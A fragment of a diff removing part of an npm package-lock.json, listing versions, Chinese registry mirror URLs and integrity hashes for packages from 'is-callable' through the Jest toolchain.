-      "resolved": "https://registry.nlark.com/is-callable/download/is-callable-1.2.3.tgz",
-      "integrity": "sha1-ix4FALc6HXbHBIdjbzaOUZ3o244="
-    },
-    "is-ci": {
-      "version": "2.0.0",
-      "resolved": "https://registry.npm.taobao.org/is-ci/download/is-ci-2.0.0.tgz?cache=0&sync_timestamp=1613632023079&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Fis-ci%2Fdownload%2Fis-ci-2.0.0.tgz",
-      "integrity": "sha1-a8YzQYGBDgS1wis9WJ/cpVAmQEw=",
-      "requires": {
-        "ci-info": "^2.0.0"
-      }
-    },
-    "is-color-stop": {
-      "version": "1.1.0",
-      "resolved": "https://registry.npm.taobao.org/is-color-stop/download/is-color-stop-1.1.0.tgz",
-      "integrity": "sha1-z/9HGu5N1cnhWFmPvhKWe1za00U=",
-      "requires": {
-        "css-color-names": "^0.0.4",
-        "hex-color-regex": "^1.1.0",
-        "hsl-regex": "^1.0.0",
-        "hsla-regex": "^1.0.0",
-        "rgb-regex": "^1.0.1",
-        "rgba-regex": "^1.0.0"
-      }
-    },
-    "is-core-module": {
-      "version": "2.4.0",
-      "resolved": "https://registry.nlark.com/is-core-module/download/is-core-module-2.4.0.tgz",
-      "integrity": "sha1-jp/I4VAnsBFBgCbpjw5vTYYwXME=",
-      "requires": {
-        "has": "^1.0.3"
-      }
-    },
-    "is-data-descriptor": {
-      "version": "0.1.4",
-      "resolved": "https://registry.npm.taobao.org/is-data-descriptor/download/is-data-descriptor-0.1.4.tgz",
-      "integrity": "sha1-C17mSDiOLIYCgueT8YVv7D8wG1Y=",
-      "requires": {
-        "kind-of": "^3.0.2"
-      },
-      "dependencies": {
-        "kind-of": {
-          "version": "3.2.2",
-          "resolved": "https://registry.npm.taobao.org/kind-of/download/kind-of-3.2.2.tgz",
-          "integrity": "sha1-MeohpzS6ubuw8yRm2JOupR5KPGQ=",
-          "requires": {
-            "is-buffer": "^1.1.5"
-          }
-        }
-      }
-    },
-    "is-date-object": {
-      "version": "1.0.4",
-      "resolved": "https://registry.nlark.com/is-date-object/download/is-date-object-1.0.4.tgz",
-      "integrity": "sha1-VQz8wDr62gXuo90wmBx7CVUfc+U="
-    },
-    "is-descriptor": {
-      "version": "0.1.6",
-      "resolved": "https://registry.npm.taobao.org/is-descriptor/download/is-descriptor-0.1.6.tgz",
-      "integrity": "sha1-Nm2CQN3kh8pRgjsaufB6EKeCUco=",
-      "requires": {
-        "is-accessor-descriptor": "^0.1.6",
-        "is-data-descriptor": "^0.1.4",
-        "kind-of": "^5.0.0"
-      },
-      "dependencies": {
-        "kind-of": {
-          "version": "5.1.0",
-          "resolved": "https://registry.npm.taobao.org/kind-of/download/kind-of-5.1.0.tgz",
-          "integrity": "sha1-cpyR4thXt6QZofmqZWhcTDP1hF0="
-        }
-      }
-    },
-    "is-directory": {
-      "version": "0.3.1",
-      "resolved": "https://registry.npm.taobao.org/is-directory/download/is-directory-0.3.1.tgz",
-      "integrity": "sha1-YTObbyR1/Hcv2cnYP1yFddwVSuE="
-    },
-    "is-docker": {
-      "version": "2.2.1",
-      "resolved": "https://registry.npm.taobao.org/is-docker/download/is-docker-2.2.1.tgz?cache=0&sync_timestamp=1617958843085&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Fis-docker%2Fdownload%2Fis-docker-2.2.1.tgz",
-      "integrity": "sha1-M+6r4jz+hvFL3kQIoCwM+4U6zao="
-    },
-    "is-extendable": {
-      "version": "0.1.1",
-      "resolved": "https://registry.npm.taobao.org/is-extendable/download/is-extendable-0.1.1.tgz",
-      "integrity": "sha1-YrEQ4omkcUGOPsNqYX1HLjAd/Ik="
-    },
-    "is-extglob": {
-      "version": "2.1.1",
-      "resolved": "https://registry.npm.taobao.org/is-extglob/download/is-extglob-2.1.1.tgz",
-      "integrity": "sha1-qIwCU1eR8C7TfHahueqXc8gz+MI="
-    },
-    "is-fullwidth-code-point": {
-      "version": "3.0.0",
-      "resolved": "https://registry.npm.taobao.org/is-fullwidth-code-point/download/is-fullwidth-code-point-3.0.0.tgz",
-      "integrity": "sha1-8Rb4Bk/pCz94RKOJl8C3UFEmnx0="
-    },
-    "is-generator-fn": {
-      "version": "2.1.0",
-      "resolved": "https://registry.npm.taobao.org/is-generator-fn/download/is-generator-fn-2.1.0.tgz",
-      "integrity": "sha1-fRQK3DiarzARqPKipM+m+q3/sRg="
-    },
-    "is-glob": {
-      "version": "4.0.1",
-      "resolved": "https://registry.npm.taobao.org/is-glob/download/is-glob-4.0.1.tgz",
-      "integrity": "sha1-dWfb6fL14kZ7x3q4PEopSCQHpdw=",
-      "requires": {
-        "is-extglob": "^2.1.1"
-      }
-    },
-    "is-module": {
-      "version": "1.0.0",
-      "resolved": "https://registry.npm.taobao.org/is-module/download/is-module-1.0.0.tgz",
-      "integrity": "sha1-Mlj7afeMFNW4FdZkM2tM/7ZEFZE="
-    },
-    "is-negative-zero": {
-      "version": "2.0.1",
-      "resolved": "https://registry.nlark.com/is-negative-zero/download/is-negative-zero-2.0.1.tgz",
-      "integrity": "sha1-PedGwY3aIxkkGlNnWQjY92bxHCQ="
-    },
-    "is-number": {
-      "version": "7.0.0",
-      "resolved": "https://registry.npm.taobao.org/is-number/download/is-number-7.0.0.tgz",
-      "integrity": "sha1-dTU0W4lnNNX4DE0GxQlVUnoU8Ss="
-    },
-    "is-number-object": {
-      "version": "1.0.5",
-      "resolved": "https://registry.nlark.com/is-number-object/download/is-number-object-1.0.5.tgz?cache=0&sync_timestamp=1620421575334&other_urls=https%3A%2F%2Fregistry.nlark.com%2Fis-number-object%2Fdownload%2Fis-number-object-1.0.5.tgz",
-      "integrity": "sha1-bt+u7XlQz/Ga/tzp+/yp7m3Sies="
-    },
-    "is-obj": {
-      "version": "2.0.0",
-      "resolved": "https://registry.npm.taobao.org/is-obj/download/is-obj-2.0.0.tgz",
-      "integrity": "sha1-Rz+wXZc3BeP9liBUUBjKjiLvSYI="
-    },
-    "is-path-cwd": {
-      "version": "2.2.0",
-      "resolved": "https://registry.npm.taobao.org/is-path-cwd/download/is-path-cwd-2.2.0.tgz",
-      "integrity": "sha1-Z9Q7gmZKe1GR/ZEZEn6zAASKn9s="
-    },
-    "is-path-in-cwd": {
-      "version": "2.1.0",
-      "resolved": "https://registry.nlark.com/is-path-in-cwd/download/is-path-in-cwd-2.1.0.tgz?cache=0&sync_timestamp=1620047156679&other_urls=https%3A%2F%2Fregistry.nlark.com%2Fis-path-in-cwd%2Fdownload%2Fis-path-in-cwd-2.1.0.tgz",
-      "integrity": "sha1-v+Lcomxp85cmWkAJljYCk1oFOss=",
-      "requires": {
-        "is-path-inside": "^2.1.0"
-      }
-    },
-    "is-path-inside": {
-      "version": "2.1.0",
-      "resolved": "https://registry.nlark.com/is-path-inside/download/is-path-inside-2.1.0.tgz",
-      "integrity": "sha1-fJgQWH1lmkDSe8201WFuqwWUlLI=",
-      "requires": {
-        "path-is-inside": "^1.0.2"
-      }
-    },
-    "is-plain-obj": {
-      "version": "1.1.0",
-      "resolved": "https://registry.nlark.com/is-plain-obj/download/is-plain-obj-1.1.0.tgz",
-      "integrity": "sha1-caUMhCnfync8kqOQpKA7OfzVHT4="
-    },
-    "is-plain-object": {
-      "version": "2.0.4",
-      "resolved": "https://registry.npm.taobao.org/is-plain-object/download/is-plain-object-2.0.4.tgz",
-      "integrity": "sha1-LBY7P6+xtgbZ0Xko8FwqHDjgdnc=",
-      "requires": {
-        "isobject": "^3.0.1"
-      }
-    },
-    "is-potential-custom-element-name": {
-      "version": "1.0.1",
-      "resolved": "https://registry.npm.taobao.org/is-potential-custom-element-name/download/is-potential-custom-element-name-1.0.1.tgz?cache=0&sync_timestamp=1617781844353&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Fis-potential-custom-element-name%2Fdownload%2Fis-potential-custom-element-name-1.0.1.tgz",
-      "integrity": "sha1-Fx7W8Z46xVQ5Tt94yqBXhKRb67U="
-    },
-    "is-regex": {
-      "version": "1.1.3",
-      "resolved": "https://registry.nlark.com/is-regex/download/is-regex-1.1.3.tgz",
-      "integrity": "sha1-0Cn5r/ZEi5Prvj8z2scVEf3L758=",
-      "requires": {
-        "call-bind": "^1.0.2",
-        "has-symbols": "^1.0.2"
-      }
-    },
-    "is-regexp": {
-      "version": "1.0.0",
-      "resolved": "https://registry.npm.taobao.org/is-regexp/download/is-regexp-1.0.0.tgz?cache=0&sync_timestamp=1617816642607&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Fis-regexp%2Fdownload%2Fis-regexp-1.0.0.tgz",
-      "integrity": "sha1-/S2INUXEa6xaYz57mgnof6LLUGk="
-    },
-    "is-resolvable": {
-      "version": "1.1.0",
-      "resolved": "https://registry.npm.taobao.org/is-resolvable/download/is-resolvable-1.1.0.tgz",
-      "integrity": "sha1-+xj4fOH+uSUWnJpAfBkxijIG7Yg="
-    },
-    "is-root": {
-      "version": "2.1.0",
-      "resolved": "https://registry.npm.taobao.org/is-root/download/is-root-2.1.0.tgz?cache=0&sync_timestamp=1617783413343&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Fis-root%2Fdownload%2Fis-root-2.1.0.tgz",
-      "integrity": "sha1-gJ4YEpzxEpZEMCpPhUQDXVGYSpw="
-    },
-    "is-stream": {
-      "version": "1.1.0",
-      "resolved": "https://registry.nlark.com/is-stream/download/is-stream-1.1.0.tgz",
-      "integrity": "sha1-EtSj3U5o4Lec6428hBc66A2RykQ="
-    },
-    "is-string": {
-      "version": "1.0.6",
-      "resolved": "https://registry.nlark.com/is-string/download/is-string-1.0.6.tgz?cache=0&sync_timestamp=1620448217105&other_urls=https%3A%2F%2Fregistry.nlark.com%2Fis-string%2Fdownload%2Fis-string-1.0.6.tgz",
-      "integrity": "sha1-P+XVmS+w2TQE8yWE1LAXmnG1Sl8="
-    },
-    "is-symbol": {
-      "version": "1.0.4",
-      "resolved": "https://registry.nlark.com/is-symbol/download/is-symbol-1.0.4.tgz?cache=0&sync_timestamp=1620501308896&other_urls=https%3A%2F%2Fregistry.nlark.com%2Fis-symbol%2Fdownload%2Fis-symbol-1.0.4.tgz",
-      "integrity": "sha1-ptrJO2NbBjymhyI23oiRClevE5w=",
-      "requires": {
-        "has-symbols": "^1.0.2"
-      }
-    },
-    "is-typedarray": {
-      "version": "1.0.0",
-      "resolved": "https://registry.npm.taobao.org/is-typedarray/download/is-typedarray-1.0.0.tgz",
-      "integrity": "sha1-5HnICFjfDBsR3dppQPlgEfzaSpo="
-    },
-    "is-windows": {
-      "version": "1.0.2",
-      "resolved": "https://registry.npm.taobao.org/is-windows/download/is-windows-1.0.2.tgz",
-      "integrity": "sha1-0YUOuXkezRjmGCzhKjDzlmNLsZ0="
-    },
-    "is-wsl": {
-      "version": "2.2.0",
-      "resolved": "https://registry.npm.taobao.org/is-wsl/download/is-wsl-2.2.0.tgz",
-      "integrity": "sha1-dKTHbnfKn9P5MvKQwX6jJs0VcnE=",
-      "requires": {
-        "is-docker": "^2.0.0"
-      }
-    },
-    "isarray": {
-      "version": "1.0.0",
-      "resolved": "https://registry.npm.taobao.org/isarray/download/isarray-1.0.0.tgz?cache=0&sync_timestamp=1562592096220&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Fisarray%2Fdownload%2Fisarray-1.0.0.tgz",
-      "integrity": "sha1-u5NdSFgsuhaMBoNJV6VKPgcSTxE="
-    },
-    "isexe": {
-      "version": "2.0.0",
-      "resolved": "https://registry.npm.taobao.org/isexe/download/isexe-2.0.0.tgz",
-      "integrity": "sha1-6PvzdNxVb/iUehDcsFctYz8s+hA="
-    },
-    "isobject": {
-      "version": "3.0.1",
-      "resolved": "https://registry.npm.taobao.org/isobject/download/isobject-3.0.1.tgz",
-      "integrity": "sha1-TkMekrEalzFjaqH5yNHMvP2reN8="
-    },
-    "istanbul-lib-coverage": {
-      "version": "3.0.0",
-      "resolved": "https://registry.npm.taobao.org/istanbul-lib-coverage/download/istanbul-lib-coverage-3.0.0.tgz",
-      "integrity": "sha1-9ZRKN8cLVQsCp4pcOyBVsoDOyOw="
-    },
-    "istanbul-lib-instrument": {
-      "version": "4.0.3",
-      "resolved": "https://registry.npm.taobao.org/istanbul-lib-instrument/download/istanbul-lib-instrument-4.0.3.tgz",
-      "integrity": "sha1-hzxv/4l0UBGCIndGlqPyiQLXfB0=",
-      "requires": {
-        "@babel/core": "^7.7.5",
-        "@istanbuljs/schema": "^0.1.2",
-        "istanbul-lib-coverage": "^3.0.0",
-        "semver": "^6.3.0"
-      },
-      "dependencies": {
-        "semver": {
-          "version": "6.3.0",
-          "resolved": "https://registry.nlark.com/semver/download/semver-6.3.0.tgz?cache=0&sync_timestamp=1618847017123&other_urls=https%3A%2F%2Fregistry.nlark.com%2Fsemver%2Fdownload%2Fsemver-6.3.0.tgz",
-          "integrity": "sha1-7gpkyK9ejO6mdoexM3YeG+y9HT0="
-        }
-      }
-    },
-    "istanbul-lib-report": {
-      "version": "3.0.0",
-      "resolved": "https://registry.nlark.com/istanbul-lib-report/download/istanbul-lib-report-3.0.0.tgz",
-      "integrity": "sha1-dRj+UupE3jcvRgp2tezan/tz2KY=",
-      "requires": {
-        "istanbul-lib-coverage": "^3.0.0",
-        "make-dir": "^3.0.0",
-        "supports-color": "^7.1.0"
-      },
-      "dependencies": {
-        "make-dir": {
-          "version": "3.1.0",
-          "resolved": "https://registry.npm.taobao.org/make-dir/download/make-dir-3.1.0.tgz",
-          "integrity": "sha1-QV6WcEazp/HRhSd9hKpYIDcmoT8=",
-          "requires": {
-            "semver": "^6.0.0"
-          }
-        },
-        "semver": {
-          "version": "6.3.0",
-          "resolved": "https://registry.nlark.com/semver/download/semver-6.3.0.tgz?cache=0&sync_timestamp=1618847017123&other_urls=https%3A%2F%2Fregistry.nlark.com%2Fsemver%2Fdownload%2Fsemver-6.3.0.tgz",
-          "integrity": "sha1-7gpkyK9ejO6mdoexM3YeG+y9HT0="
-        }
-      }
-    },
-    "istanbul-lib-source-maps": {
-      "version": "4.0.0",
-      "resolved": "https://registry.npm.taobao.org/istanbul-lib-source-maps/download/istanbul-lib-source-maps-4.0.0.tgz",
-      "integrity": "sha1-dXQ85tlruG3H7kNSz2Nmoj8LGtk=",
-      "requires": {
-        "debug": "^4.1.1",
-        "istanbul-lib-coverage": "^3.0.0",
-        "source-map": "^0.6.1"
-      }
-    },
-    "istanbul-reports": {
-      "version": "3.0.2",
-      "resolved": "https://registry.npm.taobao.org/istanbul-reports/download/istanbul-reports-3.0.2.tgz",
-      "integrity": "sha1-1ZMhDlAAaDdQywn8BkTktuJ/1Ts=",
-      "requires": {
-        "html-escaper": "^2.0.0",
-        "istanbul-lib-report": "^3.0.0"
-      }
-    },
-    "jest": {
-      "version": "26.6.0",
-      "resolved": "https://registry.nlark.com/jest/download/jest-26.6.0.tgz?cache=0&sync_timestamp=1622709000600&other_urls=https%3A%2F%2Fregistry.nlark.com%2Fjest%2Fdownload%2Fjest-26.6.0.tgz",
-      "integrity": "sha1-VGslodjIiFadu+k8rhMXSAhqSiU=",
-      "requires": {
-        "@jest/core": "^26.6.0",
-        "import-local": "^3.0.2",
-        "jest-cli": "^26.6.0"
-      },
-      "dependencies": {
-        "jest-cli": {
-          "version": "26.6.3",
-          "resolved": "https://registry.nlark.com/jest-cli/download/jest-cli-26.6.3.tgz",
-          "integrity": "sha1-QxF8/vJLxM1pGhdKh5alMuE16So=",
-          "requires": {
-            "@jest/core": "^26.6.3",
-            "@jest/test-result": "^26.6.2",
-            "@jest/types": "^26.6.2",
-            "chalk": "^4.0.0",
-            "exit": "^0.1.2",
-            "graceful-fs": "^4.2.4",
-            "import-local": "^3.0.2",
-            "is-ci": "^2.0.0",
-            "jest-config": "^26.6.3",
-            "jest-util": "^26.6.2",
-            "jest-validate": "^26.6.2",
-            "prompts": "^2.0.1",
-            "yargs": "^15.4.1"
-          }
-        }
-      }
-    },
-    "jest-changed-files": {
-      "version": "26.6.2",
-      "resolved": "https://registry.nlark.com/jest-changed-files/download/jest-changed-files-26.6.2.tgz?cache=0&sync_timestamp=1622290056055&other_urls=https%3A%2F%2Fregistry.nlark.com%2Fjest-changed-files%2Fdownload%2Fjest-changed-files-26.6.2.tgz",
-      "integrity": "sha1-9hmEeeHMZvIvmuHiKsqgtCnAQtA=",
-      "requires": {
-        "@jest/types": "^26.6.2",
-        "execa": "^4.0.0",
-        "throat": "^5.0.0"
-      },
-      "dependencies": {
-        "cross-spawn": {
-          "version": "7.0.3",
-          "resolved": "https://registry.npm.taobao.org/cross-spawn/download/cross-spawn-7.0.3.tgz",
-          "integrity": "sha1-9zqFudXUHQRVUcF34ogtSshXKKY=",
-          "requires": {
-            "path-key": "^3.1.0",
-            "shebang-command": "^2.0.0",
-            "which": "^2.0.1"
-          }
-        },
-        "execa": {
-          "version": "4.1.0",
-          "resolved": "https://registry.nlark.com/execa/download/execa-4.1.0.tgz",
-          "integrity": "sha1-TlSRrRVy8vF6d9OIxshXE1sihHo=",
-          "requires": {
-            "cross-spawn": "^7.0.0",
-            "get-stream": "^5.0.0",
-            "human-signals": "^1.1.1",
-            "is-stream": "^2.0.0",
-            "merge-stream": "^2.0.0",
-            "npm-run-path": "^4.0.0",
-            "onetime": "^5.1.0",
-            "signal-exit": "^3.0.2",
-            "strip-final-newline": "^2.0.0"
-          }
-        },
-        "get-stream": {
-          "version": "5.2.0",
-          "resolved": "https://registry.npm.taobao.org/get-stream/download/get-stream-5.2.0.tgz",
-          "integrity": "sha1-SWaheV7lrOZecGxLe+txJX1uItM=",
-          "requires": {
-            "pump": "^3.0.0"
-          }
-        },
-        "is-stream": {
-          "version": "2.0.0",
-          "resolved": "https://registry.nlark.com/is-stream/download/is-stream-2.0.0.tgz",
-          "integrity": "sha1-venDJoDW+uBBKdasnZIc54FfeOM="
-        },
-        "npm-run-path": {
-          "version": "4.0.1",
-          "resolved": "https://registry.npm.taobao.org/npm-run-path/download/npm-run-path-4.0.1.tgz",
-          "integrity": "sha1-t+zR5e1T2o43pV4cImnguX7XSOo=",
-          "requires": {
-            "path-key": "^3.0.0"
-          }
-        },
-        "path-key": {
-          "version": "3.1.1",
-          "resolved": "https://registry.npm.taobao.org/path-key/download/path-key-3.1.1.tgz?cache=0&sync_timestamp=1617971632960&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Fpath-key%2Fdownload%2Fpath-key-3.1.1.tgz",
-          "integrity": "sha1-WB9q3mWMu6ZaDTOA3ndTKVBU83U="
-        },
-        "shebang-command": {
-          "version": "2.0.0",
-          "resolved": "https://registry.npm.taobao.org/shebang-command/download/shebang-command-2.0.0.tgz",
-          "integrity": "sha1-zNCvT4g1+9wmW4JGGq8MNmY/NOo=",
-          "requires": {
-            "shebang-regex": "^3.0.0"
-          }
-        },
-        "shebang-regex": {
-          "version": "3.0.0",
-          "resolved": "https://registry.npm.taobao.org/shebang-regex/download/shebang-regex-3.0.0.tgz",
-          "integrity": "sha1-rhbxZE2HPsrYQ7AwexQzYtTEIXI="
-        },
-        "which": {
-          "version": "2.0.2",
-          "resolved": "https://registry.npm.taobao.org/which/download/which-2.0.2.tgz?cache=0&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Fwhich%2Fdownload%2Fwhich-2.0.2.tgz",
-          "integrity": "sha1-fGqN0KY2oDJ+ELWckobu6T8/UbE=",
-          "requires": {
-            "isexe": "^2.0.0"
-          }
-        }
-      }
-    },
-    "jest-circus": {
-      "version": "26.6.0",
-      "resolved": "https://registry.nlark.com/jest-circus/download/jest-circus-26.6.0.tgz",
-      "integrity": "sha1-fZZHsuf5IRgYafquH5CiYp/XBwU=",
-      "requires": {
-        "@babel/traverse": "^7.1.0",
-        "@jest/environment": "^26.6.0",
-        "@jest/test-result": "^26.6.0",
-        "@jest/types": "^26.6.0",
-        "@types/babel__traverse": "^7.0.4",
-        "@types/node": "*",
-        "chalk": "^4.0.0",
-        "co": "^4.6.0",
-        "dedent": "^0.7.0",
-        "expect": "^26.6.0",
-        "is-generator-fn": "^2.0.0",
-        "jest-each": "^26.6.0",
-        "jest-matcher-utils": "^26.6.0",
-        "jest-message-util": "^26.6.0",
-        "jest-runner": "^26.6.0",
-        "jest-runtime": "^26.6.0",
-        "jest-snapshot": "^26.6.0",
-        "jest-util": "^26.6.0",
-        "pretty-format": "^26.6.0",
-        "stack-utils": "^2.0.2",
-        "throat": "^5.0.0"
-      }
-    },
-    "jest-config": {
-      "version": "26.6.3",
-      "resolved": "https://registry.nlark.com/jest-config/download/jest-config-26.6.3.tgz",
-      "integrity": "sha1-ZPQURO756wPcUdXFO3XIxx9kU0k=",
-      "requires": {
-        "@babel/core": "^7.1.0",
-        "@jest/test-sequencer": "^26.6.3",
-        "@jest/types": "^26.6.2",
-        "babel-jest": "^26.6.3",
-        "chalk": "^4.0.0",
-        "deepmerge": "^4.2.2",
-        "glob": "^7.1.1",
-        "graceful-fs": "^4.2.4",
-        "jest-environment-jsdom": "^26.6.2",
-        "jest-environment-node": "^26.6.2",
-        "jest-get-type": "^26.3.0",
-        "jest-jasmine2": "^26.6.3",
-        "jest-regex-util": "^26.0.0",
-        "jest-resolve": "^26.6.2",
-        "jest-util": "^26.6.2",
-        "jest-validate": "^26.6.2",
-        "micromatch": "^4.0.2",
-        "pretty-format": "^26.6.2"
-      },
-      "dependencies": {
-        "jest-resolve": {
-          "version": "26.6.2",
-          "resolved": "https://registry.nlark.com/jest-resolve/download/jest-resolve-26.6.2.tgz?cache=0&sync_timestamp=1622709020612&other_urls=https%3A%2F%2Fregistry.nlark.com%2Fjest-resolve%2Fdownload%2Fjest-resolve-26.6.2.tgz",
-          "integrity": "sha1-o6sVFyF/RptQTxtWYDxbtUH7tQc=",
-          "requires": {
-            "@jest/types": "^26.6.2",
-            "chalk": "^4.0.0",
-            "graceful-fs": "^4.2.4",
-            "jest-pnp-resolver": "^1.2.2",
-            "jest-util": "^26.6.2",
-            "read-pkg-up": "^7.0.1",
-            "resolve": "^1.18.1",
-            "slash": "^3.0.0"
-          }
-        },
-        "read-pkg": {
-          "version": "5.2.0",
-          "resolved": "https://registry.nlark.com/read-pkg/download/read-pkg-5.2.0.tgz",
-          "integrity": "sha1-e/KVQ4yloz5WzTDgU7NO5yUMk8w=",
-          "requires": {
-            "@types/normalize-package-data": "^2.4.0",
-            "normalize-package-data": "^2.5.0",
-            "parse-json": "^5.0.0",
-            "type-fest": "^0.6.0"
-          },
-          "dependencies": {
-            "type-fest": {
-              "version": "0.6.0",
-              "resolved": "https://registry.nlark.com/type-fest/download/type-fest-0.6.0.tgz?cache=0&sync_timestamp=1622543370439&other_urls=https%3A%2F%2Fregistry.nlark.com%2Ftype-fest%2Fdownload%2Ftype-fest-0.6.0.tgz",
-              "integrity": "sha1-jSojcNPfiG61yQraHFv2GIrPg4s="
-            }
-          }
-        },
-        "read-pkg-up": {
-          "version": "7.0.1",
-          "resolved": "https://registry.npm.taobao.org/read-pkg-up/download/read-pkg-up-7.0.1.tgz?cache=0&sync_timestamp=1616916249599&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Fread-pkg-up%2Fdownload%2Fread-pkg-up-7.0.1.tgz",
-          "integrity": "sha1-86YTV1hFlzOuK5VjgFbhhU5+9Qc=",
-          "requires": {
-            "find-up": "^4.1.0",
-            "read-pkg": "^5.2.0",
-            "type-fest": "^0.8.1"
-          }
-        },
-        "type-fest": {
-          "version": "0.8.1",
-          "resolved": "https://registry.nlark.com/type-fest/download/type-fest-0.8.1.tgz?cache=0&sync_timestamp=1622543370439&other_urls=https%3A%2F%2Fregistry.nlark.com%2Ftype-fest%2Fdownload%2Ftype-fest-0.8.1.tgz",
-          "integrity": "sha1-CeJJ696FHTseSNJ8EFREZn8XuD0="
-        }
-      }
-    },
-    "jest-diff": {
-      "version": "26.6.2",
-      "resolved": "https://registry.nlark.com/jest-diff/download/jest-diff-26.6.2.tgz",
-      "integrity": "sha1-GqdGi1LDpo19XF/c381eSb0WQ5Q=",
-      "requires": {
-        "chalk": "^4.0.0",
-        "diff-sequences": "^26.6.2",
-        "jest-get-type": "^26.3.0",
-        "pretty-format": "^26.6.2"
-      }
-    },
-    "jest-docblock": {
-      "version": "26.0.0",
-      "resolved": "https://registry.nlark.com/jest-docblock/download/jest-docblock-26.0.0.tgz?cache=0&sync_timestamp=1621937262334&other_urls=https%3A%2F%2Fregistry.nlark.com%2Fjest-docblock%2Fdownload%2Fjest-docblock-26.0.0.tgz",
-      "integrity": "sha1-Pi+iCJn8koyxO9D/aL03EaNoibU=",
-      "requires": {
-        "detect-newline": "^3.0.0"
-      }
-    },
-    "jest-each": {
-      "version": "26.6.2",
-      "resolved": "https://registry.nlark.com/jest-each/download/jest-each-26.6.2.tgz",
-      "integrity": "sha1-AlJkOKd6Z0AcimOC3+WZmVLBZ8s=",
-      "requires": {
-        "@jest/types": "^26.6.2",
-        "chalk": "^4.0.0",
-        "jest-get-type": "^26.3.0",
-        "jest-util": "^26.6.2",
-        "pretty-format": "^26.6.2"
-      }
-    },
-    "jest-environment-jsdom": {
-      "version": "26.6.2",
-      "resolved": "https://registry.nlark.com/jest-environment-jsdom/download/jest-environment-jsdom-26.6.2.tgz",
-      "integrity": "sha1-eNCf6c8BmjVwCbm34fEB0jvR2j4=",
-      "requires": {
-        "@jest/environment": "^26.6.2",
-        "@jest/fake-timers": "^26.6.2",
-        "@jest/types": "^26.6.2",
-        "@types/node": "*",
-        "jest-mock": "^26.6.2",
-        "jest-util": "^26.6.2",
-        "jsdom": "^16.4.0"
-      }
-    },
-    "jest-environment-node": {
-      "version": "26.6.2",
-      "resolved": "https://registry.nlark.com/jest-environment-node/download/jest-environment-node-26.6.2.tgz",
-      "integrity": "sha1-gk5Mf7SURkY1bxGsdbIpsANfKww=",
-      "requires": {
-        "@jest/environment": "^26.6.2",
-        "@jest/fake-timers": "^26.6.2",
-        "@jest/types": "^26.6.2",
-        "@types/node": "*",
-        "jest-mock": "^26.6.2",
-        "jest-util": "^26.6.2"
-      }
-    },
-    "jest-get-type": {
-      "version": "26.3.0",
-      "resolved": "https://registry.nlark.com/jest-get-type/download/jest-get-type-26.3.0.tgz?cache=0&sync_timestamp=1621937309906&other_urls=https%3A%2F%2Fregistry.nlark.com%2Fjest-get-type%2Fdownload%2Fjest-get-type-26.3.0.tgz",
-      "integrity": "sha1-6X3Dw/U8K0Bsp6+u1Ek7HQmRmeA="
-    },
-    "jest-haste-map": {
-      "version": "26.6.2",
-      "resolved": "https://registry.nlark.com/jest-haste-map/download/jest-haste-map-26.6.2.tgz",
-      "integrity": "sha1-3X5g/n3A6fkRoj15xf9/tcLK/qo=",
-      "requires": {
-        "@jest/types": "^26.6.2",
-        "@types/graceful-fs": "^4.1.2",
-        "@types/node": "*",
-        "anymatch": "^3.0.3",
-        "fb-watchman": "^2.0.0",
-        "fsevents": "^2.1.2",
-        "graceful-fs": "^4.2.4",
-        "jest-regex-util": "^26.0.0",
-        "jest-serializer": "^26.6.2",
-        "jest-util": "^26.6.2",
-        "jest-worker": "^26.6.2",
-        "micromatch": "^4.0.2",
-        "sane": "^4.0.3",
-        "walker": "^1.0.7"
-      }
-    },
-    "jest-jasmine2": {
-      "version": "26.6.3",
-      "resolved": "https://registry.nlark.com/jest-jasmine2/download/jest-jasmine2-26.6.3.tgz?cache=0&sync_timestamp=1622709024575&other_urls=https%3A%2F%2Fregistry.nlark.com%2Fjest-jasmine2%2Fdownload%2Fjest-jasmine2-26.6.3.tgz",
-      "integrity": "sha1-rcPPkV3qy1ISyTufNUfNEpWPLt0=",
-      "requires": {
-        "@babel/traverse": "^7.1.0",
-        "@jest/environment": "^26.6.2",
-        "@jest/source-map": "^26.6.2",
-        "@jest/test-result": "^26.6.2",
-        "@jest/types": "^26.6.2",
-        "@types/node": "*",
-        "chalk": "^4.0.0",
-        "co": "^4.6.0",
-        "expect": "^26.6.2",
-        "is-generator-fn": "^2.0.0",
-        "jest-each": "^26.6.2",
-        "jest-matcher-utils": "^26.6.2",
-        "jest-message-util": "^26.6.2",
-        "jest-runtime": "^26.6.3",
-        "jest-snapshot": "^26.6.2",
-        "jest-util": "^26.6.2",
-        "pretty-format": "^26.6.2",
-        "throat": "^5.0.0"
-      }
-    },
-    "jest-leak-detector": {
-      "version": "26.6.2",
-      "resolved": "https://registry.nlark.com/jest-leak-detector/download/jest-leak-detector-26.6.2.tgz?cache=0&sync_timestamp=1622290219471&other_urls=https%3A%2F%2Fregistry.nlark.com%2Fjest-leak-detector%2Fdownload%2Fjest-leak-detector-26.6.2.tgz",
-      "integrity": "sha1-dxfPEYuSI48uumUFTIoMnGU6ka8=",
-      "requires": {
-        "jest-get-type": "^26.3.0",
-        "pretty-format": "^26.6.2"
-      }
-    },
-    "jest-matcher-utils": {
-      "version": "26.6.2",
-      "resolved": "https://registry.nlark.com/jest-matcher-utils/download/jest-matcher-utils-26.6.2.tgz?cache=0&sync_timestamp=1622290217387&other_urls=https%3A%2F%2Fregistry.nlark.com%2Fjest-matcher-utils%2Fdownload%2Fjest-matcher-utils-26.6.2.tgz",
-      "integrity": "sha1-jm/W6GPIstMaxkcu6yN7xZXlPno=",
-      "requires": {
-        "chalk": "^4.0.0",
-        "jest-diff": "^26.6.2",
-        "jest-get-type": "^26.3.0",
-        "pretty-format": "^26.6.2"
-      }
-    },
-    "jest-message-util": {
-      "version": "26.6.2",
-      "resolved": "https://registry.nlark.com/jest-message-util/download/jest-message-util-26.6.2.tgz",
-      "integrity": "sha1-WBc3RK1vwFBrXSEVC5vlbvABygc=",
-      "requires": {
-        "@babel/code-frame": "^7.0.0",
-        "@jest/types": "^26.6.2",
-        "@types/stack-utils": "^2.0.0",
-        "chalk": "^4.0.0",
